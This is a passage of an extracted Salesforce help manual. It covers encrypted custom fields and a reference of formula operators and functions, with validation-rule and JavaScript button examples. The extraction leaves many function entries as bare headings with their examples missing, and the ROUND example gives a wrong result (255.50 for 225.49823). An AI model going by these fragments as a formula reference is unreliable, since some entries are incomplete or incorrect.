directly-related records. Only number, currency, percent, date, and date/time fields are available.
929
Customize About Encrypted Custom Fields
6. Enter your filter criteria if you want a selected group of records in your summary calculation. If your organization uses
multiple languages, enter filter values in your organization's default language. For more information on using filter criteria,
see Entering Filter Criteria on page 2163.
7. Click Next.
8. In Enterprise, Unlimited, and Developer Editions, set the field-level security to determine whether the field should be
visible for specific profiles, and click Next.
9. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
10. Click Save to finish or Save & New to create more custom fields.
See Also:
About Roll-Up Summary Fields
Implementation Notes
• To enable encrypted fields for your organization, contact salesforce.com.
• Encrypted fields are encrypted with 128-bit keys and use the AES (Advanced Encryption Standard) algorithm.
• Encrypted custom fields cannot be unique, an external ID, or have default values.
• While other text fields can contain up to 255 characters, encrypted text fields are limited to 175 characters due to the
encryption algorithm.
• Encrypted fields are not available for use in filters such as list views, reports, roll-up summary fields, and rule filters.
• Encrypted fields cannot be used to define report criteria but they can be included in report results.
• Encrypted fields are not searchable but they can be included in search results.
• Encrypted fields are not available in the following: Salesforce Mobile, Connect for Outlook, Connect for Lotus Notes,
Connect Offline, lead conversion, workflow rule criteria or formulas, formula fields, outbound messages, default values,
and Web-to-Lead and Web-to-Case forms.
• You can use encrypted fields in email templates yet the value is always masked regardless of whether you have the “View
Encrypted Data” permission.
• If you have created encrypted custom fields, make sure your organization has secure connections using SSL (Secure Sockets
Layer) enabled. To enable this setting for your organization, see Setting Session Security on page 544.
• If you have the “View Encrypted Data” permission and you grant login access to another user, be aware that the other user
will be able to see encrypted fields unmasked (in plain text). To avoid this, first clone your profile and remove the “View
Encrypted Data” permission from the cloned profile, then assign yourself to the cloned profile before granting login access
to the other user. If you do not have the appropriate permissions to clone and change your profile, contact your administrator
for assistance.
• Only users with the “View Encrypted Data” permission can clone the value of an encrypted field when cloning that record.
930
Customize Operators and Functions
Best Practices
• Encrypted fields are editable regardless of whether the user has the “View Encrypted Data” permission. Use validation
rules, field-level security settings, or page layout settings to prevent users from editing encrypted fields.
• You can still validate the values of encrypted fields using validation rules or Apex scripts. Both work regardless of whether
the user has the “View Encrypted Data” permission. Data for encrypted fields in the debug log is masked.
• Existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data
type. To encrypt the values of an existing (unencrypted) field, export the data, create an encrypted custom field to store
that data, and import that data into the new encrypted field.
• Mask Type is not an input mask that ensures the data matches the Mask Type. Use validation rules to ensure that the
data entered matches the mask type selected.
• Use encrypted custom fields only when government regulations require it because they involve additional processing and
have search-related limitations.
See Also:
Creating Custom Fields
Custom Field Attributes
Math Operators
Operator Description
+ Calculates the sum of two values.
- Calculates the difference of two values.
* Multiplies its values.
/ Divides its values.
^ Raises a number to a power of a specified number.
() Specifies that the expressions within the open parenthesis and close parenthesis are evaluated first.
All other expressions are evaluated using standard operator precedence.
Logical Operators
Operator Description
= and == Evaluates if two values are equivalent.
931
Customize Operators and Functions
Operator Description
<> and != Evaluates if two values are not equivalent.
< Evaluates if a value is less than the value that follows this symbol.
> Evaluates if a value is greater than the value that follows this symbol.
<= Evaluates if a value is less than or equal to the value that follows this symbol.
>= Evaluates if a value is greater than or equal to the value that follows this symbol.
&& Evaluates if two values or expressions are both true. Use this operator as an alternative to the logical
function AND.
|| Evaluates if at least one of multiple values or expressions is true. Use this operator as an alternative
to the logical function OR.
Text Operators
Operator Description
& Connects two or more strings.
Function Description
DATE Returns a date value from year, month, and day values you enter.
Salesforce.com displays an error on the detail page if the value of the DATE
function in a formula field is an invalid date, such as February 29 in a
non-leap year.
DATEVALUE Returns a date value for a date/time or text expression.
DAY Returns a day of the month in the form of a number between 1 and 31.
MONTH Returns the month, a number between 1 ( January) and 12 (December) in
number format of a given date.
NOW Returns a date/time representing the current moment.
TODAY Returns the current date as a date data type.
YEAR Returns the four-digit year in number format of a given date.
Informational Functions
Function Description
BLANKVALUE Determines if an expression has a value and returns a substitute expression
if it does not. If the expression has a value, returns the value of the expression.
ISBLANK Determines if an expression has a value and returns TRUE if it does not. If
it contains a value, this function returns FALSE.
932
Customize Operators and Functions
Function Description
ISNULL Determines if an expression is null (blank) and returns TRUE if it is. If it
contains a value, this function returns FALSE.
NULLVALUE Determines if an expression is null (blank) and returns a substitute expression
if it is. If the expression is not blank, returns the value of the expression.
PRIORVALUE Returns the previous value of a field.
Logical Functions
Function Description
AND Returns a TRUE response if all values are true; returns a FALSE response
if one or more values are false.
CASE Checks a given expression against a series of values. If the expression is equal
to a value, returns the corresponding result. If it is not equal to any values,
it returns the else_result.
IF Determines if expressions are true or false. Returns a given value if true and
another value if false.
ISCHANGED Compares the value of a field to the previous value and returns TRUE if the
values are different. If the values are the same, this function returns FALSE.
ISNEW Checks if the formula is running during the creation of a new record and
returns TRUE if it is. If an existing record is being updated, this function
returns FALSE.
ISNUMBER Determines if a text value is a number and returns TRUE if it is. Otherwise,
it returns FALSE.
NOT Returns FALSE for TRUE and TRUE for FALSE.
OR Determines if expressions are true or false. Returns TRUE if any expression
is true. Returns FALSE if all expressions are false.
Math Functions
Function Description
ABS Calculates the absolute value of a number. The absolute value of a number
is the number without its positive or negative sign.
CEILING Rounds a number up to the nearest integer.
EXP Returns a value for e raised to the power of a number you specify.
FLOOR Returns a number rounded down to the nearest integer.
LN Returns the natural logarithm of a specified number. Natural logarithms are
based on the constant e value of 2.71828182845904.
LOG Returns the base 10 logarithm of a number.
MAX Returns the highest number from a list of numbers.
933
Customize Operators and Functions
Function Description
MIN Returns the lowest number from a list of numbers.
MOD Returns a remainder after a number is divided by a specified divisor.
ROUND Returns the nearest number to a number you specify, constraining the new
number by a specified number of digits.
SQRT Returns the positive square root of a given number.
Text Functions
Function Description
BEGINS Determines if text begins with specific characters and returns TRUE if it
does. Returns FALSE if it does not.
BR Inserts a line break in a string of text.
CONTAINS Compares two arguments of text and returns TRUE if the first argument
contains the second argument. If not, returns FALSE.
FIND Returns the position of a string within a string of text represented as a
number.
GETSESSIONID Returns the user’s session ID.
HYPERLINK Creates a link to a URL specified that is linkable from the text specified.
IMAGE Inserts an image with alternate text and height/width specifications.
INCLUDES Determines if any value selected in a multi-select picklist field equals a text
literal you specify.
ISPICKVAL Determines if the value of a picklist field is equal to a text literal you specify.
LEFT Returns the specified number of characters from the beginning of a text
string.
LEN Returns the number of characters in a specified text string.
LOWER Converts all letters in the specified text string to lowercase. Any characters
that are not letters are unaffected by this function. Locale rules are applied
if a locale is provided.
LPAD Inserts spaces or characters you specify to the left-side of a text string.
MID Returns the specified number of characters from the middle of a text string
given the starting position.
RIGHT Returns the specified number of characters from the end of a text string.
RPAD Inserts blank spaces or characters that you specify to the right-side of a text
string.
SUBSTITUTE Substitutes new text for old text in a text string.
TEXT Converts a percent, number, date, date/time, or currency type field into text
anywhere formulas are used. Also, converts picklist values to text in validation
rules, formula fields, and field updates.
934
Customize Operators and Functions
Function Description
TRIM Removes the spaces and tabs from the beginning and end of a text string.
UPPER Converts all letters in the specified text string to uppercase. Any characters
that are not letters are unaffected by this function. Locale rules are applied
if a locale is provided.
VALUE Converts a text string to a number.
Summary Functions
The following functions can only be used in the context of creating custom summary formulas for summary reports.
Function Description
PARENTGROUPVAL A summary function that returns the value of the selected summary field
from the parent grouping level that you specify. Parent grouping levels are
those above the grouping level where you chose to display the formula. For
matrix reports, choose both row and column grouping levels.
PREVGROUPVAL A summary function that returns the value of the selected summary field
from the previous summary row at the grouping level that you specify. For
matrix reports, the summary_field you choose controls whether a previous
row or column is returned. The increment determines how many steps
previous to the current summary field to return. The default increment is 1.
The maximum increment is 12.
Advanced Functions
Function Description
GETRECORDIDS Returns an array of strings in the form of record IDs for the selected records
in a list, such as a list view or related list.
INCLUDE Returns content from an s-control snippet. Use this function to reuse common
code in many s-controls.
LINKTO Returns a relative URL in the form of a link (href and anchor tags) for a
custom s-control or Salesforce.com page.
REGEX Compares a text field to a regular expression and returns TRUE if there is
a match. Otherwise, it returns FALSE. A regular expression is a string used
to describe a format of a string according to certain syntax rules.
REQUIRESCRIPT Returns a script tag with source for a URL you specify. Use this function
when referencing the Force.com AJAX Toolkit or other JavaScript toolkits.
URLFOR Returns a relative URL for an action, s-control, or a file in a static resource
archive in a Visualforce page.
VLOOKUP Returns a value by looking up a related value on a custom object similar to
the VLOOKUP() Excel function.
935
Customize Operators and Functions
Encoding Functions
Function Description
HTMLENCODE Encodes text and merge field values for use in HTML by replacing characters
that are reserved in HTML, such as the greater-than sign (>), with HTML
entity equivalents, such as >.
JSENCODE Encodes text and merge field values for use in JavaScript by inserting escape
characters, such as a backslash (\), before unsafe JavaScript characters, such
as the apostrophe (').
JSINHTMLENCODE Encodes text and merge field values for use in JavaScript within HTML tags
by inserting escape characters before unsafe JavaScript characters and replacing
characters that are reserved in HTML with HTML entity equivalents.
URLENCODE Encodes text and merge field values for use in URLs by replacing characters
that are illegal in URLs, such as blank spaces, with the code that represent
those characters as defined in RFC 3986, Uniform Resource Identifier (URI):
Generic Syntax. For example, blank spaces are replaced with %20, and
exclamation points are replaced with %21.
+ (Add)
936
Customize Operators and Functions
- (Subtract)
* (Multiply)
Report Example: RowCount * AGE:AVG calculates the record count times the
average age value of all opportunities in your report. This
formula is a number data type that returns a positive or
negative integer or decimal.
/ (Divide)
IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities /
NumberOfOpportunities, null)
937
Customize Operators and Functions
^ (Exponentiation)
Description: Specifies that the expressions within the open parenthesis and
close parenthesis are evaluated first. All other expressions are
evaluated using standard operator precedence.
Use: (expression1) expression2... and replace each
expression with merge fields, expressions, or other numeric
values.
938
Customize Operators and Functions
= and == (Equal)
939
Customize Operators and Functions
Description: Evaluates if a value is less than the value that follows this
symbol.
Use: value1 < value2 and replace each value with merge fields,
expressions, or other numeric values.
Example: IF(AnnualRevenue < 1000000, 1, 2) assigns the value
“1” to accounts with revenues less than one million and the
value “2” to accounts with revenues greater than one million.
Description: Evaluates if a value is greater than the value that follows this
symbol.
Use: value1 > value2 and replace each value with merge fields,
expressions, or other numeric values.
Example: IF(commission__c > 1000000, "High Net Worth",
"General") assigns the “High Net Worth” value to
opportunities with a commission greater than one million.
Note, this is a text formula field on opportunities that uses a
commission custom field.
940
Customize Operators and Functions
&& (AND)
Description: Evaluates if two values or expressions are both true. Use this
operator as an alternative to the logical function AND.
Use: (logical1) && (logical2) and replace logical1 and
logical2 with the values or expressions that you want
evaluated.
Example: IF((Price<100 && Quantity<5),"Small", null)
This formula displays “Small” if the price is less than 100 and
quantity is less than five. Otherwise, this field is blank.
|| (OR)
941
Customize Operators and Functions
& (Concatenate)
ABS
AND
942
Customize Operators and Functions
BEGINS
BLANKVALUE
Description: Determines if an expression has a value and returns a substitute expression if it does
not. If the expression has a value, returns the value of the expression.
Use: BLANKVALUE(expression, substitute_expression) and replace expression
with the expression you want evaluated; replace substitute_expression with the
value you want to replace any blank values.
Example: Example 1
BLANKVALUE(Department, “Undesignated”)
This formula returns the value of the Department field if the Department field
contains a value. If the Department field is empty, this formula returns the word
Undesignated.
Example 2
(BLANKVALUE(Payment_Due_Date__c, StartDate +5)
This formula returns the date five days after the contract start date whenever Payment
Due Date is blank. Payment Due Date is a custom date field on contracts.
943
Customize Operators and Functions
• Use the BLANKVALUE function to return a specified string if the field does not
have a value; use the ISBLANK function if you only want to check if the field has
a value.
• If you use this function with a numeric field, the function only returns the specified
string if the field does not have a value and is not configured to treat blank fields as
zeroes.
BR
Example: CASE(ShippingCountry,
"USA",
ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,
"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
ShippingCity & BR() &
ShippingCountry, "etc")
CASE
944
Customize Operators and Functions
CASE(Days_Open__c, 3,
"Reassign", 2, "Assign Task", "Maintain")
CASE(MONTH(LastActivityDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"None")
945
Customize Operators and Functions
CEILING
946
Customize Operators and Functions
CEILING(2.5)
CONTAINS
DATE
Description: Returns a date value from year, month, and day values you
enter. Salesforce.com displays an error on the detail page if
the value of the DATE function in a formula field is an invalid
date, such as February 29 in a non-leap year.
947
Customize Operators and Functions
DATEVALUE
DAY
EXP
948
Customize Operators and Functions
FIND
949
Customize Operators and Functions
FLOOR
GETRECORDIDS
Description: Returns an array of strings in the form of record IDs for the
selected records in a list, such as a list view or related list.
Use: {!GETRECORDIDS(object_type)} and replace
object_type with a reference to the custom or standard
object for the records you want to retrieve.
950
Customize Operators and Functions
var records =
{!GETRECORDIDS($ObjectType.Case)};
var newRecords = [];
if (records[0] == null)
{
alert("Please select at least one row")
}
else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}
result =
sforce.connection.update(newRecords);
window.location.reload();
}
Paste the sample code above into the content of your custom
button. Finally, add the list button to the a page layout that
contains the Cases related list, such as accounts or
opportunities. Users can select any number of cases in the
related list and click the list button to change the status of
those cases at once. Notice the check for records[0] ==
null, which displays a message to users when they do not
select at least one record in the list.
951
Customize Operators and Functions
GETSESSIONID
Example: HYPERLINK("https://www.myintegration.com?sId="&
GETSESSIONID() & "?&rowID="&Name &
"action=CreateTask","Create a Meeting
Request") creates a link to an application outside of
Salesforce.com, passing the parameters so that it can connect
to Salesforce.com via the API and create the necessary event.
HTMLENCODE
Description: Encodes text and merge field values for use in HTML by
replacing characters that are reserved in HTML, such as the
greater-than sign (>), with HTML entity equivalents, such as
>.
HYPERLINK
Description: Creates a link to a URL specified that is linkable from the text
specified.
Use: HYPERLINK(url, friendly_name [,target]) and
replace url with the Web address, replace friendly_name
with the link text, and, optionally, replace target with the
window or frame in which to display the content.
Example: Creating Events
HYPERLINK("00U/e?retURL=%2F006x0000001T8Om&what_id="
& Id, "Create Event") adds a link called “Create Event”
that, when clicked, creates a new event that is associated with
the current opportunity.
Phone Dialer
HYPERLINK("http://servername/call?id=" & Id
& "&phone=" & Phone, Phone)creates a linkable phone
number field that automatically dials the phone number when
clicked. In this example, replace "servername" and "call"
with the name of your dialing tool and the command it uses
to dial. The merge field, Id, inserts the identifier for the
contact, lead, or account record. The first Phone merge field
tells the dialing tool what number to call and the last Phone
952
Customize Operators and Functions
merge field uses the value of the Phone field as the linkable
text the user clicks to dial.
IF
953
Customize Operators and Functions
954
Customize Operators and Functions
IF(ISPICKVAL($Profile.UserType
,"Standard"), 100, 0.1)
IF(ISPICKVAL($Profile.UserType
,"PowerPartner"), 100, 0.1)
IF(ISPICKVAL($Profile.UserType
,"CustomerSuccess"), 100, 0.1)
IMAGE
955
Customize Operators and Functions
INCLUDE
<html>
<body>
{! INCLUDE($SControl.Header_Snippet,
[title = "My Title", theme = "modern"])}
</body>
</html>
<h2 class=”{!$Request.titleTheme}.title”>
{!$Request.titleText}</h2>
956
Customize Operators and Functions
<html>
<head>
</head>
<body>
{! INCLUDE($SControl.Title_Snippet,
[titleTheme = "modern", titleText = "My
Sample Title"]) }
</body>
</html>
INCLUDES
Description: Determines if any value selected in a multi-select picklist field equals a text
literal you specify.
Use: INCLUDES(multiselect_picklist_field, text_literal) and replace
multiselect_picklist_field with the merge field name for the multi-select
picklist; and replace text_literal with the multi-select picklist value you
want to match in quotes.
Examples: INCLUDES(Hobbies__c, "Golf") returns TRUE if one of the selected
values in the Hobbies custom multi-select picklist field is Golf.
Tips: • The text_literal expression must be of type text and enclosed in quotes.
It cannot be a merge field or the result of a function.
• Salesforce.com returns an error if any of the following occurs:
- You do not provide a text_literal expression.
- You provide an empty text_literal expression, such as "" or " ".
957
Customize Operators and Functions
INCLUDES(
PRIORVALUE(multiselect_picklist_field),text_literal
)
ISBLANK
IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5
958
Customize Operators and Functions
ISCHANGED
Description: Compares the value of a field to the previous value and returns
TRUE if the values are different. If the values are the same,
this function returns FALSE.
Use: ISCHANGED(field) and replace field with the name of
the field you want to compare.
Validation Rule Example: The following validation rule prevents users from changing
an opportunity name after it has been created:
NOT(ISCHANGED(Name)).
NOT(AND(ISCHANGED(Priority),
ISPICKVAL(Priority, “Low”))) is a validation rule that
ensures if a user changes the Priority of a case, the new
priority cannot be “Low.”
NOT(AND(ISCHANGED(CloseDate),
OR(MONTH(CloseDate) <> MONTH(TODAY()),
YEAR(CloseDate) <>
YEAR(TODAY())),$Profile.Name <> "Sales
Manager")) is a validation rule that prevents a user from
changing the Close Date of an opportunity to a date outside
of the current month and year unless that user has the “Sales
Manager” profile.
Note: $Profile merge fields are only available in
Enterprise, Unlimited, and Developer Editions.
959
Customize Operators and Functions
ISNEW
Validation Rule Example: Use the following validation rule to prevent users from creating
opportunities with a close date in the past. AND (ISNEW(),
CloseDate < TODAY()) checks if the user is creating a
new opportunity and, if so, ensures that the Close Date is
today or after today.
Use this validation rule to ensure users add at least one product
to an opportunity after they have created it.
NOT(OR(ISNEW(),HasOpportunityLineItem))
ISNULL
960
Customize Operators and Functions
Example: (IF(ISNULL(Maint_Amount__c), 0, 1) +
IF(ISNULL(Services_Amount__c), 0,1) +
IF(ISNULL(Discount_Percent__c), 0, 1) +
IF(ISNULL(Amount), 0, 1) +
IF(ISNULL(Timeline__c), 0, 1)) / 5
Tips: • Text fields are never null, so using this function with a text
field always returns false. For example, the formula field
IF(ISNULL(new__c) 1, 0) is always zero regardless
of the value in the New field. For text fields, use the
ISBLANK function instead.
• Multi-select picklist fields are never null in s-controls,
buttons, and email templates, so using this function with
a multi-select picklist field in those contexts always returns
false.
• Empty date and date/time fields always return true when
referenced in ISNULL functions.
• Choose Treat blank fields as blanks for your
formula when referencing a number, percent, or currency
field in an ISNULL function. Choosing Treat blank
fields as zeroes gives blank fields the value of zero
so none of them will be null.
• Merge fields can be handled as blanks, which can affect
the results of components like s-controls because they can
call this function.
• When using a validation rule to ensure that a number field
contains a specific value, use the ISNULL function to
include fields that do not contain any value. For example,
to validate that a custom field contains a value of '1,' use
the following validation rule to display an error if the field
is blank or any other number:
OR(ISNULL(field__c), field__c<>1)
961
Customize Operators and Functions
ISNUMBER
ISPICKVAL
962
Customize Operators and Functions
Competitor-Triggered Workflow
ISPICKVAL(PRIORVALUE(picklist_field),
text_literal)
JSENCODE
Description: Encodes text and merge field values for use in JavaScript by
inserting escape characters, such as a backslash (\), before
unsafe JavaScript characters, such as the apostrophe (').
Use: {!JSENCODE(text)} and replace text with the merge field
or text string that contains the unsafe JavaScript characters.
Example: If the merge field foo__c contains <B>Enter the user's
name<b>, {!JSENCODE(foo__c)} results in:
\u003CB\u003EEnter the user\'s
name\u003C\/b\u003E
JSINHTMLENCODE
Description: Encodes text and merge field values for use in JavaScript within
HTML tags by inserting escape characters before unsafe
JavaScript characters and replacing characters that are reserved
in HTML with HTML entity equivalents.
Use: {!JSINHTMLENCODE(text)} and replace text with the
merge field or text string that contains the unsafe JavaScript
characters.
963
Customize Operators and Functions
LEFT
LEN
LINKTO
Description: Returns a relative URL in the form of a link (href and anchor
tags) for a custom s-control or Salesforce.com page.
Use: {!LINKTO(label, target, id, [inputs], [no
override]} and replace label with the text for the link,
target with the URL, and id with a reference to the record.
Inputs are optional and can include any additional parameters
you want to add to the link. The no override argument is
also optional and defaults to “false.” It applies to targets for
standard Salesforce.com pages such as $Action.Account.New.
Replace no override with “true” when you want to display
964
Customize Operators and Functions
<html>
<body>
{!LINKTO("Create a New Account",
$Action.Account.New,
$ObjectType.Account)}
</body>
</html>
<html>
<body>
{!LINKTO("Email link",
"mailto:support@yourcompany.com?
subject=Please%20Help")};
</body>
</html>
<html>
<body>
{!LINKTO("Check for duplicates",
$Scontrol.dedup_account, Account.Id)}
</body>
</html>
965
Customize Operators and Functions
• Set inputs to null if you do not have any to pass yet you
want to set the no override argument:
LN
LOG
966
Customize Operators and Functions
LOWER
LPAD
967
Customize Operators and Functions
MAX
MAX(0.10 * Pages__c,
(Retail_Price__c * 0.07) * Total_Sold__c)
968
Customize Operators and Functions
Commissions
MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)
MID
MIN
MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)
969
Customize Operators and Functions
MOD
This example displays the following error message when the value of My Date is not
Monday through Friday: “My Date is not a weekday.”
MONTH
Description: Returns the month, a number between 1 ( January) and 12 (December) in number format
of a given date.
Use: MONTH(date) and replace date with the field or expression for the date containing
the month you want returned.
Example: SLA Expiration
MONTH(SLAExpirationDate__c) returns the month that your service-level agreement
expires. This example uses a custom date field called SLA Expiration Date.
Current Month
MONTH(TODAY()) returns the current month in a number format. For example, the
month of February would be the value “2.”
NOT
970
Customize Operators and Functions
NOW
NULLVALUE
Description: Determines if an expression is null (blank) and returns a substitute expression if it is. If
the expression is not blank, returns the value of the expression.
Note: Use BLANKVALUE instead of NULLVALUE in new formulas.
BLANKVALUE has the same functionality as NULLVALUE, but also supports
text fields. Salesforce.com will continue to support NULLVALUE, so you do
not need to change existing formulas.
971
Customize Operators and Functions
Tips: • Avoid using this function with text fields because they are never null even when they
are blank. Instead, use the BLANKVALUE function to determine if a text field is
blank.
• Choose Treat blank fields as blanks for your formula when referencing
a number, percent, or currency field in a NULLVALUE function. Choosing Treat
blank fields as zeroes gives blank fields the value of zero so none of them
will be null.
• Use the same data type for both the expression and substitute_expression.
OR
Description: Determines if expressions are true or false. Returns TRUE if any expression is true.
Returns FALSE if all expressions are false. Use this function as an alternative to the
operator || (OR).
Use: OR(logical1, logical2...) and replace any number of logical references with
the expressions you want evaluated.
Formula Field Example: IF(OR(ISPICKVAL(Priority, "High"), ISPICKVAL(Status, "New")),
ROUND(NOW()-CreatedDate, 0), null)
This formula returns the number of days a case has been open if the Status is new or
the Priority is high. If the case was opened today, this field displays a zero.
This validation rule formula displays the following error message when the Discount
Rate custom field is not between 0 and 40%: “Discount Rate cannot exceed 40%.”
PARENTGROUPVAL
972
Customize Operators and Functions
Example: TOTAL_PRICE:SUM/PARENTGROUPVAL(TOTAL_PRICE:SUM,
GRAND_SUMMARY)
PREVGROUPVAL
PRIORVALUE
Validation Rule Example: The following validation rule prevents users from changing the expected revenue of an
opportunity after it is closed: AND(PRIORVALUE(Amount) > Amount, IsClosed).
Tips: • This function is available only in:
- Assignment rules
- Validation rules
- Field updates
- Workflow rules if the trigger type is set to Every time a record is
created or edited.
973
Customize Operators and Functions
• When users create a new record, this function returns the value of the field
referenced rather than null. For example, if you create an account named “Acme,”
PRIORVALUE(Account.Name) returns Acme.
• When using the ISPICKVAL function to return the previous value of a picklist
field, include the PRIORVALUE function inside the ISPICKVAL function as in
this example:
ISPICKVAL(PRIORVALUE(picklist_field),
text_literal)
• Use the PRIORVALUE function inside the INCLUDES function to check if the
previous value of a multi-select picklist field included a specific value. For example:
INCLUDES(
PRIORVALUE(multiselect_picklist_field),text_literal
)
REGEX
Description: Compares a text field to a regular expression and returns TRUE if there is a match.
Otherwise, it returns FALSE. A regular expression is a string used to describe a format
of a string according to certain syntax rules.
Use: REGEX(text, regex_text) and replace text with the text field, and regex_text
with the regular expression you want to match.
Validation Rule Example:
This example ensures that a custom field called SSN matches a regular expression
representing a valid social security number format of the form 999-99-9999.
NOT(
OR(
LEN (SSN__c) = 0,
REGEX(SSN__c, "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)
Tips: • Regular expression syntax is based on Java Platform SE 6 syntax. However, backslash
characters (\) must be changed to double backslashes (\\) because backslash is an
escape character in Salesforce.com.
• The Salesforce.com regular expression engine matches an entire string as opposed
to searching for a match within a string. For example, if you are searching for the
name Marc Benioff, use the regular expression, .*Marc Benioff.*, to find a
match in a string like the following:
974
Customize Operators and Functions
If you use the regular expression, Marc Benioff, the only string that this regular
expression will match is:
Marc Benioff
REQUIRESCRIPT
Description: Returns a script tag with source for a URL you specify. Use this function when
referencing the Force.com AJAX Toolkit or other JavaScript toolkits.
Use: {!REQUIRESCRIPT(url)} and replace url with the link for the script that is required.
For the AJAX Toolkit:
{!requireScript("/soap/ajax/13.0/connection.js")}
Returns:
<script src="/soap/ajax/13.0/connection.js"></script>
For Dojo:
{!requireScript("/js/dojo/0.3.1/dojo.js")}
Returns:
<script src="/js/dojo/0.3.1/dojo.js"></script>
This example sets the Status of a case to “New” whenever a user clicks a custom button
from the case detail page. To set this up in your organization, define a custom button
for cases that has the following attributes:
• Display Type is “Detail Page Button”
• Behavior is “Execute JavaScript”
• Content Source is “OnClick JavaScript”
Next, paste the content above into your custom button definition and add it to your
case page layouts.
Tips: • Use global variables to access special merge fields for s-controls.
975
Customize Operators and Functions
• Use this function when creating custom buttons or links where you have set the
Behavior to “Execute JavaScript” and Content Source to “OnClick JavaScript”
because the script tag should be outside the OnClick code.
• This function is only available for custom buttons and links that have Content
Source set to “OnClick JavaScript.”
• When working in Visualforce, use INCLUDESCRIPT instead.
RIGHT
Description: Returns the specified number of characters from the end of a text string.
Use: RIGHT(text, num_chars) and replace text with the field or expression you want
returned; replace num_chars with the number of characters from the right you want
returned.
Example: TRIM(LEFT(LastName, 5))&"-"&TRIM(RIGHT(SSN__c, 4)) displays the first
five characters of the contact’s last name and the last four characters of the contact’s
social security number separated by a dash. Note that this assumes you have a text custom
field called SSN on contacts.
Tips: • Reference auto-number fields as text fields in formulas.
• If the num_chars value is less than zero, Salesforce.com replaces the value with
zero.
ROUND
Description: Returns the nearest number to a number you specify, constraining the new number by
a specified number of digits.
Use: ROUND(number, num_digits) and replace number with the field or expression you
want rounded; replace num_digits with the number of decimal places you want to
consider when rounding.
Example: ROUND (1.5, 0) = 2
ROUND (1.2345, 0) = 1
ROUND (-1.5, 0) = -2
ROUND (225.49823, 2) = 255.50
Simple Discounting
ROUND(Amount-Amount* Discount_Percent__c,2)
Use this formula to calculate the discounted amount of an opportunity rounded off to
two digits. This example is a number formula field on opportunities that uses a custom
percent field called Discount Percent.
Tips: • Enter zero for num_digits to round a number to the nearest integer.
• Salesforce.com automatically rounds numbers based on the decimal places you specify.
For example, a custom number field with two decimal places stores 1.50 when you
enter 1.49999.
976
Customize Operators and Functions
• The decimal numbers displayed depend on the decimal places you selected when
defining the field in the custom field wizard.The num_digits represents the number
of digits considered when rounding.
RPAD
Description: Inserts blank spaces or characters that you specify to the right-side of a text string.
Use:
RPAD(text, padded_length[, 'pad_string']) and replace the variables:
• text is the field or expression after which you want to insert spaces or characters.
• pad_length is the number of total characters in the text string that will be returned.
• pad_string is the character or characters that should be inserted. pad_string is
optional and defaults to a blank space.
If the value in text is longer than pad_string, text is truncated to the size of
padded_length.
SQRT
Tips: • Calculating the square root of a negative number results in an error on the detail
page.
977
Customize Operators and Functions
SUBSTITUTE
TEXT
Description: Converts a percent, number, date, date/time, or currency type field into text anywhere
formulas are used. Also, converts picklist values to text in validation rules, formula fields,
and field updates.
Use: TEXT(value) and replace value with the field or expression you want to convert to
text format. Avoid using any special characters besides a decimal point (period) or minus
sign (dash) in this function.
Example: Expected Revenue in Text
TEXT(ExpectedRevenue) returns the expected revenue amount of an opportunity
in text format without a dollar sign. For example, if the Expected Revenue of a
campaign is "$200,000," this formula field displays “200000.”
Asset ID
SerialNumber &"-"& TEXT(Quantity) returns an asset ID number starting with
the serial number and ending with the quantity separated by a dash. The Serial
Number field is already text but the Quantity field is a number, requiring the TEXT
function before it.
Use Picklist Values in Math Equations
This formula multiplies the first five numbers of the Quantity picklist by the Unit
numeric field.
978
Customize Operators and Functions
This formula compares the values of the bug_status picklist with values of the
case_status picklist.
Display Picklist Values From Parent Records
TEXT(Account.Industry)
This formula field on opportunities shows the industry of the associated account.
Concatenate Picklist Values
This formula field on opportunities shows the industry and subindustry of the associated
account.
Tips: • The returned text is not formatted with any currency, percent symbols, or commas.
• Values are not sensitive to locale. For example, 24.42 EUR are converted into the
number 24.42.
• Percents are returned in the form of a decimal.
• Dates are returned in the form of YYYY-MM-DD, that is, a four-digit year and
two-digit month and day.
• Date/time values are returned in the form of YYYY-MM-DD HH:MM:SSZ where
YYYY is a four-digit year, MM is a two-digit month, DD is a two-digit day, HH
is the two-digit hour, MM are the minutes, SS are the seconds, and Z represents
the zero meridian indicating the time is returned in UTC time zone.
• Picklist fields are only supported in TEXT functions used in validation rule formulas,
formula fields, and field updates. In other formulas, use ISPICKVAL or CASE
when referencing a picklist field.
• The TEXT function always returns picklist values in your organization's master
language, not the language of the current user.
979
Customize Operators and Functions
TODAY
This example ensures that users cannot change the Close Date of an opportunity to
any date in the past.
TRIM
Description: Removes the spaces and tabs from the beginning and end of a text string.
Use: TRIM(text) and replace text with the field or expression you want to trim.
UPPER
Description: Converts all letters in the specified text string to uppercase. Any characters that are not
letters are unaffected by this function. Locale rules are applied if a locale is provided.
Use: UPPER(text, [locale]) and replace text with the field or expression you wish to
convert to uppercase, and locale with the optional two-character ISO language code
or five-character locale code, if available. For information on supported languages, see
What languages does Salesforce.com support?.
980
Customize Operators and Functions
Example: SALESFORCE.COM
UPPER("salesforce.com") returns “SALESFORCE.COM.”
SALESFORCE.COM 123
UPPER("Salesforce.com 123") returns “SALESFORCE.COM 123.”
Applying Turkish Language Locale Rules
The Turkish language has two versions of the letter i: one dotted and one dotless. The
locale rules for Turkish require the ability to capitalize the dotted i, and allow the dotless
I to be lowercase. To correctly use the UPPER() function with the Turkish language
locale, use the Turkish locale code tr in the UPPER() function as follows:
UPPER(text, "tr")
This ensures that Salesforce.com does not transform any dotted i in the text to a dotless
I.
URLENCODE
Description: Encodes text and merge field values for use in URLs by
replacing characters that are illegal in URLs, such as blank
spaces, with the code that represent those characters as defined
in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax.
